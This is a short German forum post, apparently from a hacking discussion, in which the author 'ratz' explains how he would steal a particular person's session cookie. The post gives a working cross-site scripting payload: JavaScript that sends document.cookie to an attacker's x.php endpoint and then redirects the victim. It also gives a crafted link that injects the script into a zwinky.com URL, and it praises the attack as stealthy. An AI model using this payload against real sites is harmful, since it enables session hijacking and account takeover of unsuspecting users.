Naja, wenn ich einer bestimmten Person den Sessioncookie stehlen wollte, würde ich ihr einen manipulierten Link schicken:
Hier würde mein Script liegen: 
http://localhost/script.js
Der Inhalt des Scripts:
	
	function createXMLHttpObj(){
	if(window.XMLHttpRequest){ return new XMLHttpRequest(); }
	return new ActiveXObject("Microsoft.XMLHTTP");
}
function sendRequest(method, url, async, data){
	xmlhttp = createXMLHttpObj();
	if(!xmlhttp){ return; }
	xmlhttp.open(method, url, async);
	if(method == "POST"){ xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;'); }
	xmlhttp.send(data);
	if(!async){ return xmlhttp.responseText; }
}
sendRequest("POST", "http://localhost/x.php", true, document.cookie);
document.location = "http://zwinky.com";
 Manipulierter Link:
http://zwinky..."><script src=http://localhost/script.js></script>
Fertig. Ist eben NICHT persistent und daher sehr stealthy 
- ratz